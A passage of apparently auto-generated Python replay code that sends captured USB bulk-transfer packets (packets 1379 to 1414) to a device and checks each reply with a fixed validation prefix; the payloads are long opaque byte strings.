b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE7\\xF3\\x91\\x29\\x51\\x4E\\xB2\"\n b\"\\xBD\\x11\\x7A\\x91\\x23\\x76\\x2A\\xFD\\xC9\\x34\\xF8\\x46\\xD6\\xAC\\x16\\x11\"\n b\"\\xD9\\xFD\\x18\\x88\\x90\\x00\\x4D\\x5B\\x87\\x85\\x04\\x84\\x82\\xFD\\x95\\xB1\"\n b\"\\x21\\x9E\\x69\\xC3\\xAF\\xEB\\x49\\x0A\\xD9\\x23\\x91\\x67\\xA8\\xC2\\xBF\\xEA\"\n b\"\\x42\\xE9\\xB6\\xBD\\xB1\\x8D\\x05\\xC0\\x6D\\xE7\\x1E\\x19\\xCF\\x96\\xBA\\x8F\"\n b\"\\x8E\\x39\\x6C\\x9E\\x08\\x57\\x7D\\x8F\\xDF\\x24\\x23\\xB0\\xC0\\x51\\x98\\x43\"\n b\"\\xB9\\xF4\\x53\\x5D\\x9F\\xB3\\xB1\\x76\\x04\\xA4\\xF4\\x62\\xD0\\xC6\\xE2\\x1D\"\n b\"\\x7F\\x27\\xB4\\x57\\xFB\\x95\\xB8\\xDC\\xF8\\x20\\x65\\x55\\xEF\\x34\\xE0\\x10\"\n b\"\\x15\\x0B\\x9A\\xC9\\xE3\\x33\\x43\\xA9\\x0D\\x6F\\xE6\\x2D\\xAA\\xD1\\xE0\\xEA\"\n b\"\\xCB\\xC9\\xAD\\xD2\\xB6\\xB2\\x54\\xC0\\x31\\x1E\\x5D\\x1B\\xF6\\x8A\\x2C\\xCD\"\n b\"\\xC8\\x47\\x2E\\x8B\\x21\\xF5\\xC4\\xD7\\xF2\\x6D\\x47\\x2E\\xA8\\x69\\x36\\xD5\"\n b\"\\xD6\\x22\\x89\\xB5\\x6D\\x4D\\x0C\\xB5\\x1D\\x03\\x5C\\x44\\xE4\\x88\\x3D\\x87\"\n b\"\\xBD\\xD2\\x1E\\x3B\\x46\\xEC\\x58\\x0B\\x67\\xDE\\x3B\\x4B\\x53\\xEF\\x0E\\x14\"\n b\"\\xBC\\x95\\x2B\\x43\\x4C\\xDE\\x19\\x60\\x24\\xD6\\xAB\\x95\\x98\\x74\\xCB\\x00\"\n b\"\\x00\\x63\\x11\\xAF\\x6B\\x7E\\x71\\x66\\x2A\\x0D\\xC0\\x79\\xE5\\x6F\\x51\\xA3\"\n b\"\\x60\\x3E\\xAD\\x3A\\x41\\x68\\xA0\\xBF\\x9B\\xAC\\x98\\x07\\x59\\x48\\xA2\\xC6\"\n b\"\\x4F\\x99\\xFE\\xC1\\x8A\\x8A\\x7F\\xF4\\x3C\\x23\\x4F\\xC0\")\n # Generated from packet 1379/1380\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1379/1380\")\n # Generated from packet 1381/1382\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x0E\\xF0\\x9A\\x2B\\xF1\\x30\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x97\\x49\\x1D\\xEF\\x0C\\x62\\xCE\\xEE\"\n b\"\\x51\\x1A\\xBB\\x67\\x0B\\xE7\\x3B\\x65\\x48\\x17\\x38\\xAA\\x72\\x1C\\x05\\x2F\"\n b\"\\xA3\\xBF\\x27\\x04\\x22\\x5E\\x1E\\x3D\\x2E\\xCD\\x6E\\x4C\\xAE\\x53\\xA8\\xE5\"\n b\"\\x5E\\x0F\\x97\\xCB\\xBE\\x1C\\x5D\\xC3\\x7B\\x81\\x82\\xE8\\x8C\\xF4\\x12\\x32\"\n b\"\\x2B\\x49\\x0B\\x7F\\x4B\\xA8\\x85\\xA8\\x8F\\x1E\\xCD\\x8D\\xE4\\xC6\\xEF\\xD7\"\n b\"\\x62\\x99\\xF3\\xCF\\x9C\\xCF\\xA0\\x45\\x80\\x74\\x6D\\x66\\x40\\x4B\\x24\\xF8\"\n b\"\\x03\\xFE\\x9C\\x38\\xD3\\xB9\\xCC\\x5E\\x9D\\xBB\\x2F\\xD1\\x12\\xE0\\x79\\xC7\"\n b\"\\xF8\\xFE\\x9E\\x40\\xBA\\x6A\\xFF\\xC3\\xEA\\xD8\\x08\\xC2\\x5B\\x89\\x35\\x72\"\n b\"\\x50\\x84\\xAA\\xAE\\xEB\\xC6\\x72\\x9C\\x84\\xC5\\x83\\xC1\\x75\\xB1\\xBC\\x07\"\n b\"\\x07\\xE8\\x39\\x5E\\x05\\x71\\x75\\xE4\\x24\\x5F\\x2A\\xC8\\x5A\\x6A\\xFF\\x3B\"\n b\"\\x11\\x4C\\x3B\\xC5\\xF9\\x2A\\x7A\\x2E\\x41\\x89\\xA2\\x89\\xA5\\x4E\\xD3\\xF4\"\n b\"\\x53\\xD5\\xEF\\xE2\\x55\\x5A\\x0A\\xA6\\xEE\\x52\\x77\\x57\\xF4\\x59\\x60\\x46\"\n b\"\\xB3\\xBE\\xAA\\x7C\\xA6\\x90\\xE9\\x12\\x4B\\xB9\\x40\\x92\\xFB\\x82\\x8C\\xAE\"\n b\"\\xE8\\x60\\x4B\\x19\\x46\\x52\\x11\\x92\\xB1\\x50\\xBD\\x68\\x8A\\x5C\\xBE\\x93\"\n b\"\\x7D\\x23\\x88\\x0E\\x47\\xA7\\xBB\\x90\\x82\\x8F\\x91\\x27\\x61\\x44\\x38\\x66\"\n b\"\\x33\\xB1\\x7C\\xEA\\x30\\x1C\\xEA\\x87\\x83\\xA8\\x20\\xC5\\x5B\\x64\\xBB\\xCC\"\n b\"\\x4F\\xF4\\xF9\\x91\\x3E\\xD4\\x2A\\x87\\x2E\\x07\\x50\\x52\")\n # Generated from packet 1383/1384\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1383/1384\")\n # Generated from packet 1385/1386\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xAD\\x6A\\x1D\\xCF\\x15\\x58\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xEB\\x65\\xE2\\xE4\\xE1\\xC6\\x67\\xEC\"\n b\"\\x45\\x13\\xCC\\xF2\\x62\\x09\\xA4\\xB3\\x8C\\xE9\\x34\\x42\\x43\\x2A\\x80\\x25\"\n b\"\\xD4\\x7D\\xCB\\xC0\\x36\\x6F\\x21\\xD6\\x5B\\x26\\x80\\x1A\\xAA\\x63\\x85\\x0D\"\n b\"\\xDA\\x0C\\xE4\\xC4\\x90\\x0C\\x76\\x94\\x72\\x9C\\x54\\x70\\x73\\x40\\x5F\\xA1\"\n b\"\\x87\\x3E\\xEA\\xFF\\xD3\\x05\\x27\\x62\\xA7\\x6C\\x5C\\xD6\\x2C\\xB5\\x48\\x7A\"\n b\"\\x19\\x96\\xEF\\x58\\x68\\x31\\x82\\x5B\\x81\\x92\\xBA\\xC6\\xD0\\x2A\\x12\\x21\"\n b\"\\xBF\\x15\\x1B\\xD5\\x5C\\xF8\\xF1\\xCE\\x95\\x47\\x85\\x18\\x25\\x33\\x67\\x4F\"\n b\"\\xAF\\xA8\\x6D\\xCC\\x7B\\xCB\\x57\\x7E\\x4E\\xAB\\xEB\\x26\\xBD\\x08\\x7D\\x50\"\n b\"\\xCC\\x79\\xEC\\x0A\\xA4\\x74\\xD2\\x05\\xAF\\x4A\\x5D\\x00\\xBC\\x75\\xDF\\xC9\"\n b\"\\xEB\\x4F\\x0B\\x92\\x6B\\xA7\\x31\\x46\\x4A\\x49\\xA0\\x24\\x5C\\x8A\\xE6\\x97\"\n b\"\\xD1\\x27\\x8F\\x13\\xCD\\x3D\\x81\\xF5\\xB2\\x7C\\x2D\\xFB\\x80\\x1F\\xE1\\xD0\"\n b\"\\xC7\\x69\\xBB\\xEB\\xD5\\x69\\xF9\\xC4\\xFF\\x6B\\x12\\x28\\x09\\x9E\\xA7\\xEC\"\n b\"\\xC5\\xF5\\x5F\\x9E\\x6E\\x35\\x51\\x23\\xB0\\xC0\\xFF\\xAA\\x12\\x5A\\xB9\\x9E\"\n b\"\\x5D\\xD8\\xFF\\x7B\\xB0\\x16\\x59\\xC3\\x03\\xA2\\xEE\\xDA\\x8C\\x47\\x46\\xAC\"\n b\"\\x1C\\x40\\x9C\\xC6\\x35\\x2D\\x01\\x8A\\x20\\xD6\\x00\\xCF\\xBA\\x2E\\xA5\\x32\"\n b\"\\x79\\xA8\\xAC\\x55\\x5A\\x3F\\xC7\\xD6\\x6C\\xE7\\x9D\\xAC\\x0C\\x27\\x1B\\x5B\"\n b\"\\x0D\\xED\\x12\\x4E\\x99\\x82\\x36\\x23\\x69\\x86\\xFF\\x2F\")\n # Generated from packet 1387/1388\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1387/1388\")\n # Generated from packet 1389/1390\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD9\\x3D\\x4A\\xB0\\x1D\\x44\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x37\\xE9\\x10\\x8A\\xA4\\xFD\\x58\\xE4\"\n b\"\\x02\\x49\\xF9\\x03\\x8E\\x77\\x56\\xE5\\xBD\\xF3\\x6D\\x62\\xFF\\x43\\xBB\\x46\"\n b\"\\x65\\x22\\x15\\x06\\x31\\xC2\\x77\\x6E\\xBF\\x56\\xDF\\xA7\\x41\\x8A\\x49\\x5A\"\n b\"\\xE8\\x96\\x83\\x1F\\x94\\x41\\xA3\\x86\\x7E\\xDC\\x08\\x47\\x69\\x2F\\xAC\\x31\"\n b\"\\x07\\x8C\\xA4\\x2A\\xD7\\x76\\xE4\\x8C\\x20\\x4F\\x2F\\xD5\\x04\\xDB\\x34\\x20\"\n b\"\\x36\\xD6\\x91\\x8A\\x4F\\xE7\\xC3\\x74\\xAF\\x49\\x9D\\x44\\x10\\x2A\\x31\\x99\"\n b\"\\x4C\\x1E\\xDF\\xF5\\xC2\\xDD\\x07\\x32\\xDA\\x45\\xC5\\xB9\\xEE\\xEA\\x91\\x7C\"\n b\"\\x6E\\x91\\xED\\xB6\\xF8\\xE7\\x49\\x27\\xBF\\x31\\x14\\x10\\x3D\\xFF\\xC5\\x2C\"\n b\"\\xEC\\x18\\xC7\\xFB\\xF6\\xB4\\xAB\\x95\\x2C\\x37\\x39\\x4A\\xDF\\xBE\\x76\\x8F\"\n b\"\\x9C\\xAB\\x9E\\x00\\x40\\x63\\x3C\\xBC\\x2E\\xCA\\xA1\\xBC\\x17\\xCC\\x5B\\x80\"\n b\"\\xF2\\xA7\\x1E\\x6C\\x47\\x93\\xD4\\xA5\\x80\\xA5\\x2B\\x6A\\x71\\x7A\\x6D\\x51\"\n b\"\\xAC\\x3B\\xEC\\x2A\\xAD\\x88\\x35\\x94\\x0C\\x2C\\xAC\\x46\\x5B\\x50\\xCC\\xB9\"\n b\"\\x4D\\xCE\\x4D\\x03\\x7E\\xE8\\x12\\x28\\x10\\x1B\\x7A\\x5A\\xC2\\x1D\\xF4\\xC3\"\n b\"\\x5B\\x1E\\xCE\\x9B\\x70\\x7F\\x1B\\x8A\\xB8\\xC9\\x20\\x08\\x14\\xDF\\x9A\\x66\"\n b\"\\xA7\\x84\\xCD\\xCD\\x9D\\x93\\x4A\\xF7\\x8D\\xDC\\xA1\\x95\\x1F\\xC7\\x10\\x65\"\n b\"\\x34\\xB2\\xDA\\xB7\\xE0\\x5D\\xE2\\x6C\\xF2\\xFA\\x6A\\x29\\x89\\x30\\xFC\\x5D\"\n b\"\\xB7\\xBE\\x1A\\xC0\\x73\\xB2\\xCD\\xF1\\xA7\\xC6\\x56\\xE9\")\n # Generated from packet 1391/1392\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1391/1392\")\n # Generated from packet 1393/1394\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x35\\x5C\\x9D\\xE0\\x9A\\x4D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xBD\\x56\\xE2\\x26\\x03\\x0C\\xB3\\x49\"\n b\"\\x0E\\xB3\\xD7\\x2B\\x18\\x34\\x4D\\x20\\xC5\\xC9\\x1D\\xCF\\x2C\\x19\\x6B\\xCA\"\n b\"\\xF2\\xD3\\x27\\xB6\\x0C\\xAC\\xF4\\x50\\xEC\\x92\\x2F\\x3E\\x4D\\xE2\\xFB\\xC4\"\n b\"\\x76\\xDA\\x32\\x08\\x4F\\x07\\xEA\\x8E\\x9B\\xD1\\x47\\xB0\\x4E\\xC7\\xC8\\x29\"\n b\"\\xAD\\xF3\\xC2\\x21\\xF4\\x5F\\xBC\\x28\\xDD\\xE1\\x78\\x1C\\x96\\xDE\\x0C\\x2E\"\n b\"\\xAC\\x12\\x86\\xCD\\x48\\x87\\x13\\xAA\\x08\\xD5\\x30\\xD6\\x78\\x3F\\x89\\x81\"\n b\"\\x88\\xF2\\x25\\xC2\\xC0\\xF2\\x3A\\xDE\\xDB\\x2A\\xC5\\xBA\\xD9\\x92\\xA5\\x51\"\n b\"\\x6F\\xCE\\xE0\\xF8\\x51\\x09\\x42\\x59\\xCB\\x75\\xB6\\xDD\\xC9\\x4D\\x7D\\x2E\"\n b\"\\xCC\\x01\\xB4\\x51\\x48\\xF2\\xBB\\xE5\\x53\\xB3\\xAB\\x7F\\xF8\\xD1\\x19\\x48\"\n b\"\\x3C\\xCE\\x46\\x97\\x44\\xA7\\x67\\x7D\\x06\\x8C\\x67\\x29\\x7A\\xBD\\xE9\\x49\"\n b\"\\xD2\\xA7\\x3C\\xDA\\xAB\\xA3\\x9B\\x44\\xDE\\x22\\xA7\\x19\\x09\\xBC\\x3B\\x78\"\n b\"\\x0C\\x74\\x40\\xA0\\x02\\xD9\\x5C\\xA2\\xCC\\x24\\x96\\xA5\\x8F\\xB2\\x2F\\x35\"\n b\"\\xBF\\x54\\x6C\\x00\\x37\\x09\\x7A\\xCE\\x38\\x53\\x7D\\x5B\\x96\\x65\\xC1\\x6E\"\n b\"\\xF0\\xE2\\x65\\xD6\\x32\\x94\\x2A\\xD3\\x8F\\x8A\\x75\\x1B\\xBB\\xA3\\x0B\\x5C\"\n b\"\\x63\\x0D\\x71\\xD9\\xA4\\x52\\xA2\\x32\\xCD\\xEB\\x52\\xA8\\xD3\\x54\\x7A\\x09\"\n b\"\\x51\\x69\\xD7\\x3B\\x3D\\x45\\x4D\\x99\\xBB\\x48\\xEA\\xD0\\xAA\\x73\\x06\\x02\"\n b\"\\xC9\\x13\\x84\\xD8\\xE2\\xF4\\xCA\\x97\\xEB\\x63\\xFF\\xAC\")\n # Generated from packet 1395/1396\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1395/1396\")\n # Generated from packet 1397/1398\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x12\\x07\\x31\\xF2\\x95\\x32\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x41\\xA8\\x6D\\x1A\\x2F\\x54\\x36\\x54\"\n b\"\\x0B\\xF5\\x12\\xE4\\xB8\\x1F\\xCD\\x15\\x85\\x08\\x2F\\xB4\\x18\\x24\\x7D\\xAD\"\n b\"\\x5B\\x54\\x7F\\x1D\\xAC\\x06\\x6E\\x32\\x5C\\x49\\x3F\\x3F\\xDD\\x34\\xF1\\xE1\"\n b\"\\x92\\x50\\xC9\\x2E\\xE9\\xDB\\x49\\x48\\x24\\x38\\xFC\\xD0\\x52\\x48\\x04\\xB7\"\n b\"\\x4A\\xEA\\xAC\\x89\\xA9\\xCF\\x5F\\x40\\x9E\\xA0\\x0D\\xB7\\x4E\\xB5\\xD6\\xCC\"\n b\"\\x0F\\xBD\\x22\\x16\\x4F\\xF7\\xFA\\xDC\\x7E\\x26\\xB6\\x8A\\xEE\\x2A\\x00\\xD0\"\n b\"\\x8C\\x61\\x10\\x01\\x68\\xAC\\xBA\\x45\\xAB\\x50\\xAE\\xBA\\xA1\\xCD\\xF1\\x32\"\n b\"\\xD8\\x90\\x84\\xE9\\xD9\\x40\\x71\\x3B\\xD2\\x83\\xF9\\x0F\\xA4\\x11\\x16\\xCD\"\n b\"\\xB4\\x86\\x53\\x46\\x06\\xD1\\xAE\\x4B\\x3A\\xC3\\x97\\x20\\x8D\\x8A\\x41\\xC1\"\n b\"\\x50\\x39\\x0B\\xB8\\x98\\xCE\\x0A\\x74\\x81\\xAB\\x2F\\x00\\xEA\\x2E\\xAD\\x2E\"\n b\"\\x6D\\x92\\x56\\x26\\x54\\x05\\x83\\x4D\\x07\\xFC\\x59\\x08\\xF9\\x73\\x88\\xF7\"\n b\"\\x59\\x6D\\xDF\\x1B\\xF6\\xAB\\xF8\\xC3\\x8E\\xB4\\x22\\xE1\\xFC\\xFE\\x64\\xB5\"\n b\"\\xD7\\x2B\\xEE\\x9A\\xAE\\xC1\\x05\\xDB\\x37\\x97\\x7A\\x23\\x71\\x39\\x10\\xC1\"\n b\"\\x8B\\x11\\x42\\x60\\xB5\\xBB\\xA1\\xBE\\x8A\\x19\\x07\\x8A\\x7E\\x4D\\x8E\\x35\"\n b\"\\x1C\\xD3\\x9E\\xA8\\x74\\x26\\x47\\x0F\\xD8\\x36\\xD6\\x23\\x93\\x57\\xC3\\xA5\"\n b\"\\xD8\\xB9\\x55\\xF8\\x7C\\x68\\xC8\\x7B\\x4E\\xB5\\x66\\x7B\\x96\\xF8\\x23\\x52\"\n b\"\\x35\\xD1\\x93\\x71\\xE4\\x6D\\xB7\\x52\\xA3\\xBC\\x8F\\x1D\")\n # Generated from packet 1399/1400\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1399/1400\")\n # Generated from packet 1401/1402\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xDF\\x8D\\xF7\\x19\\xC1\\x00\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xBC\\xE7\\x32\\x24\\xB8\\xF2\\x2A\\x8F\"\n b\"\\x17\\xBB\\x1D\\x5A\\x57\\x84\\x1A\\xA6\\x48\\x46\\x77\\x49\\x0B\\x8E\\x27\\x4E\"\n b\"\\x97\\x2C\\x72\\xB2\\xA2\\x94\\x76\\xAA\\x02\\x46\\xDF\\x28\\xA4\\x8A\\x4B\\xC6\"\n b\"\\x4A\\x8B\\x4B\\x1F\\x66\\x72\\xD2\\xAE\\xF4\\xF6\\x4B\\x9D\\xF1\\x58\\x4D\\xAE\"\n b\"\\xE4\\x9D\\x53\\xBD\\xDE\\x1F\\xDC\\x7C\\x40\\xE1\\x69\\x2D\\x9A\\x50\\x10\\xAB\"\n b\"\\x82\\xE5\\x1E\\x5B\\x4B\\x14\\x2A\\x9B\\xD3\\xA2\\xC9\\x9C\\x7D\\xAE\\xEB\\xB0\"\n b\"\\x49\\xF2\\xED\\xD4\\xF7\\x64\\x12\\x2A\\x8F\\x73\\x38\\x42\\x24\\x9D\\x59\\x1E\"\n b\"\\x60\\x36\\xCE\\x9B\\xFD\\x19\\xD9\\x92\\x5E\\x49\\xDA\\xBA\\x12\\xEB\\xCB\\x56\"\n b\"\\xA3\\xAE\\x6B\\x5F\\x89\\xB9\\x64\\x74\\x16\\x4E\\x56\\x0C\\x96\\x5B\\xA9\\x97\"\n b\"\\x30\\x88\\x66\\x68\\xE6\\x71\\x72\\xA1\\xA6\\x9C\\x3C\\xED\\x0D\\xB2\\x38\\x15\"\n b\"\\xCA\\xB4\\x5E\\xCC\\x2A\\x3D\\x09\\xE8\\x1C\\x82\\x86\\xF5\\xA6\\x3C\\x8D\\xF6\"\n b\"\\xC6\\xDB\\x95\\x35\\x5C\\xB7\\x70\\x25\\x7E\\x86\\xBC\\xDA\\xC6\\x27\\x9D\\xF9\"\n b\"\\x61\\xA1\\x34\\x3D\\xF7\\x84\\x10\\x55\\xE4\\x2A\\xB4\\xAD\\xD8\\x8B\\xFD\\x65\"\n b\"\\x59\\xB9\\x3E\\x84\\xAC\\x40\\xB9\\x5B\\x3A\\x89\\x96\\x53\\x06\\x06\\x7D\\xA4\"\n b\"\\xAF\\x6F\\xCC\\x1B\\x97\\x21\\x0C\\xED\\xE2\\xF8\\x00\\x6D\\xA3\\x14\\x52\\xBB\"\n b\"\\x5D\\x72\\xC3\\xA9\\x58\\x75\\xFE\\x9B\\x20\\x48\\xFE\\x85\\x4B\\x0A\\x1E\\x4B\"\n b\"\\x7D\\xAB\\x34\\xDA\\xD7\\xE2\\xAF\\x1C\\x08\\x00\\xB4\\x93\")\n # Generated from packet 1403/1404\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1403/1404\")\n # Generated from packet 1405/1406\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x26\\xDC\\x89\\x44\\x9B\\x5A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x3A\\x59\\x4B\\x67\\xD2\\xD6\\x23\\x66\"\n b\"\\xC5\\x5C\\xAA\\xE0\\x8D\\x6A\\xE6\\x95\\x10\\xA2\\x8F\\x03\\x9C\\x4C\\x5E\\x23\"\n b\"\\xF2\\xEF\\x0D\\x52\\x51\\x5D\\xF1\\x15\\x89\\x87\\xCC\\x68\\xC2\\xC1\\x1F\\x64\"\n b\"\\x8E\\x81\\x12\\x2A\\xC8\\x9B\\x38\\x42\\x6F\\xD6\\x08\\x76\\x59\\xD5\\x33\\x87\"\n b\"\\x82\\x79\\x76\\x73\\xF7\\xA2\\x6B\\x06\\x07\\x70\\x60\\xC5\\x8A\\x4D\\x16\\x57\"\n b\"\\x61\\x63\\x06\\xC0\\x20\\x0D\\xB7\\x97\\x1F\\x0C\\x75\\x9F\\xC0\\x62\\x84\\xC8\"\n b\"\\xD0\\x2A\\xC6\\xA7\\xEE\\x97\\xA5\\x30\\xB8\\x2A\\xAC\\x55\\x01\\xC7\\x1F\\x00\"\n b\"\\x66\\xDD\\x02\\x04\\x9E\\x3D\\x84\\xF1\\x8D\\x0E\\xD5\\x26\\x7A\\x4F\\x36\\x25\"\n b\"\\x8A\\xA4\\xBD\\x37\\xD1\\x58\\xAF\\x11\\xDD\\x84\\x41\\xE2\\xA9\\xD2\\x1E\\xB4\"\n b\"\\x6A\\xFE\\x16\\xB1\\x8D\\xD1\\x9C\\x87\\x2A\\x40\\x69\\xED\\x44\\xFC\\x6C\\x3C\"\n b\"\\x81\\x3A\\xDB\\xFF\\x93\\xFB\\x90\\x99\\xD2\\xF5\\x20\\xDC\\xA6\\x4C\\x3E\\xA3\"\n b\"\\x7B\\xA6\\x7C\\x99\\x90\\xF3\\xA1\\xD8\\xAB\\xFC\\x2F\\xAB\\xE7\\x00\\x93\\xA1\"\n b\"\\x6E\\x3E\\x8F\\x43\\xB9\\x0B\\x83\\x95\\x79\\x58\\x0E\\x4B\\xB6\\xF9\\xE8\\x04\"\n b\"\\x7A\\xFE\\x30\\xA4\\x02\\x92\\xF7\\xFB\\x92\\x71\\x63\\xDA\\x01\\x00\\x39\\x82\"\n b\"\\xEB\\xEA\\x23\\x00\\x31\\x10\\xE1\\x54\\xFB\\x67\\x77\\x57\\xC6\\x2C\\xB9\\xB2\"\n b\"\\xCD\\xE9\\x45\\x6A\\x02\\xEE\\x2E\\xEB\\xFE\\x6B\\x78\\xA2\\x7E\\x4F\\x77\\xD4\"\n b\"\\x08\\x22\\xF5\\x5C\\xFF\\xE4\\xFB\\x96\\xF2\\x49\\x01\\x55\")\n # Generated from packet 1407/1408\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1407/1408\")\n # Generated from packet 1409/1410\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x1C\\x43\\x34\\x95\\xE1\\x0C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xAF\\xB2\\x80\\x1F\\xE0\\xCF\\xD4\\x2B\"\n b\"\\xA2\\xBE\\x09\\xC6\\x9D\\x0C\\x21\\x66\\x08\\x96\\xA1\\x72\\x3D\\xF7\\x79\\x2D\"\n b\"\\x1E\\xC9\\xC9\\x7B\\x21\\x36\\x7C\\xE3\\x32\\x93\\xCE\\x0C\\x81\\x2F\\xB4\\x94\"\n b\"\\x00\\x35\\x3E\\xD8\\x2F\\xC1\\x90\\xD2\\x06\\x76\\x8D\\x92\\xCE\\x28\\x7F\\x3A\"\n b\"\\x94\\xA0\\xD6\\xA8\\xAB\\xA0\\x51\\x23\\xB0\\xA3\\x1E\\xEA\\xE8\\x74\\x16\\x00\"\n b\"\\x3C\\x8C\\x70\\xC5\\x45\\x87\\xCD\\x87\\xCE\\x34\\x99\\x66\\x30\\x09\\xF1\\xFF\"\n b\"\\x60\\x62\\x2E\\x4F\\xE6\\x15\\x1B\\x6E\\xD8\\x2E\\x10\\xDF\\x10\\xE1\\x3A\\x88\"\n b\"\\xB6\\xF9\\xE9\\x3D\\x33\\x03\\xF1\\x76\\xB6\\x77\\x9D\\xBC\\x98\\x1F\\xD2\\xED\"\n b\"\\xBF\\xC2\\xA3\\x70\\x65\\x89\\x4B\\x25\\x26\\x12\\x22\\x91\\xC5\\x7C\\xEB\\x79\"\n b\"\\x26\\xFA\\xCE\\x5A\\x3F\\xE8\\x81\\x02\\x62\\x33\\xD2\\xD9\\x30\\xB3\\xEE\\x2F\"\n b\"\\x98\\x9A\\x49\\x6B\\x68\\xA5\\x7C\\x2C\\xCE\\xE8\\xCB\\xFF\\x5C\\x2B\\x80\\x35\"\n b\"\\x96\\xC7\\xFD\\xBC\\xEF\\xE3\\x81\\x79\\x65\\x50\\xCC\\x31\\x42\\x95\\x84\\xC1\"\n b\"\\xE2\\x92\\x8E\\xA0\\x75\\x14\\x7A\\x36\\x8A\\xE4\\x1A\\xDB\\x3B\\xC3\\x71\\x7D\"\n b\"\\x96\\xDA\\x18\\x6E\\xCC\\x31\\x71\\x56\\xDD\\xC8\\x00\\x8C\\x8D\\x79\\xFE\\x13\"\n b\"\\xFF\\x0B\\x43\\x78\\x77\\x85\\x22\\x84\\x82\\x19\\xEA\\x11\\x16\\xCA\\x6E\\xF6\"\n b\"\\x86\\xC9\\x7C\\xB5\\x56\\x5D\\xA9\\xC2\\xEA\\x62\\x07\\x5A\\xB7\\x8C\\x35\\x29\"\n b\"\\x76\\x1A\\x88\\xC8\\xC3\\x23\\x2B\\x1C\\x17\\x05\\xDE\\x43\")\n # Generated from packet 1411/1412\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1411/1412\")\n # Generated from packet 1413/1414\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x4B\\x09\\x9E\\x04\\xC0\\x4F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x6D\\x5E\\x3B\\xD8\\x58\\x4F\\xC7\\x81\"\n b\"\\x75\\xE5\\x91\\xDB\\xAE\\xAE\\x57\\x08\\x85\\xF6\\xA9\\x61\\x57\\x97\\x80\\x64\"\n b\"\\xF2\\xFD\\xE5\\x34\\x1A\\x19\\x6A\\x16\\x23\\xAE\\x56\\x1D\\x20\\x23\\x4C\\x8B\"\n b\"\\x3D\\xD4\\x02\\x03\\x40\\x61\\x94\\x5D\\x89\\x52\\xBC\\x6A\\x42\\xF1\\xFD\\x6C\"\n b\"\\x54\\x7A\\x7C\\x30\\xD9\\x0A\\x9C\\x03\\x35\\xC8\\x47\\x83\\x0A\\x40\\xB2\\xEE\"\n b\"\\xD3\\x66\\x07\\x45\\x97\\xF5\\xE8\\x14\\xE2\\xF6\\x69\\xB2\\x1E\\x09\\x8A\\xC5\"\n b\"\\x09\\x3C\\x3C\\x7B\\x9E\\xB9\\xB4\\xDD\\xE4\\x47\\x1E\\x7B\\x75\\x89\\x5A\\x8A\"\n b\"\\xFE\\x19\\xC0\\x00\\xAE\\x1D\\xA6\\xE2\\xF0\\x3F\\xCF\\xAD\\x1F\\x12\\x88\\x34\"\n b\"\\x31\\x13\\xB3\\x27\\x8C\\xBD\\xEB\\x11\\xDB\\xCF\\x6D\\x94\\x9F\\x72\\x10\\x03\"\n b\"\\xC3\\x17\\xA8\\xED\\xCE\\x82\\xF8\\xDC\\xE4\\x11\\x22\\x6B\\x0A\\xE6\\xF3\\xDF\"\n b\"\\x2F\\x1C\\xE5\\xCA\\xB0\\x39\\x9D\\x38\\x0C\\x37\\xD3\\xAA\\x42\\x9C\\x76\\x53\"\n b\"\\xFD\\x58\\x09\\x30\\x47\\xBC\\xFE\\x70\\xB1\\x5B\\x62\\x77\\x2A\\xC4\\x5D\\x22\"\n b\"\\x5B\\xBD\\xB0\\x1F\\xB3\\xD9\\x87\\xC4\\x2E\\xE7\\x2A\\xCC\\xDA\\x91\\xB8\\xF4\"\n 